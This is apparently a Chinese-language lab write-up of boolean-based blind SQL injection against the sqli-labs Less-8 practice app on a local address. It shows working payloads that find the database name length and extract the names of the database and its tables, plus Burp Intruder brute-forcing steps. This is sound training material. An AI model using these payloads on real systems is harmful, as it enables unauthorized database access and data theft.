sql-labs-less8 GET - Blind - Boolan Based - Single Quotes
step0 准备
http://192.168.139.138/sqli-labs/Less-8/
HackBar
MySQL
Apache
step1 测试
首先我们假装不知道后台的代码。其中sql查询语句为sql=“SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
payload:
http://192.168.139.138/sqli-labs/Less-8/?id=1
result:
yes
payload:
http://192.168.139.138/sqli-labs/Less-8/?id=1'
result:
no
这里我们无法看到后台所返回的结果,所以这里不可以使用union注入,所以这里我们使用boolan注入法,第一步我们先判断数据库名的长度,
payload:
http://192.168.139.138/sqli-labs/Less-8/?id=1' and length(database())>=5 -- +
result:
yes
payload:
http://192.168.139.138/sqli-labs/Less-8/?id=1' and length(database())>=10 -- +
result:
no
所以数据库长度位于5~9之间,我们可以用二分法测试,下一个是7。
payload:
http://192.168.139.138/sqli-labs/Less-8/?id=1' and length(database())>=7 -- +
result:
yes
----------------------------7~9-----------------------
payload:
http://192.168.139.138/sqli-labs/Less-8/?id=1' and length(database())>=8 -- +
result:
yes
----------------------------8~9----------------------
payload:
http://192.168.139.138/sqli-labs/Less-8/?id=1' and length(database())>=9 -- +
result:
no
所以我们知道了数据库名字长度为8。接下来我们通过substr()函数,与limit函数不同,是从1下标开始的。数据库名的范围一般在a~z, 0~9之内,可能还有一些特殊字符,这里的字母不区分大小写。这里八个有点多,我们采用burp抓包来爆破一下。
payload:
http://192.168.139.138/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='a' -- +这里的1,1表示从第一个字符开始,往后第一个字符
右击发到 intruder模块,send to intruder
在图中,两个位置添加$注入符号,然后选择 攻击种类为Cluster bomb。
其中payload 1选择1~8,payload 2选择a-z,0-9
如上图得到结果:数据库名为security,下一步爆表名。
payload:
http://192.168.139.138/sqli-labs/Less-8/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a' --+
方法和上面一样。
得到的结果导入到excel表格中。我们利用表格排序,得到以下结果
step2 结论
组合一下就是emails,referers,uagents,users
下面的操作就和上面的很类似了,在这里就不一一演示了。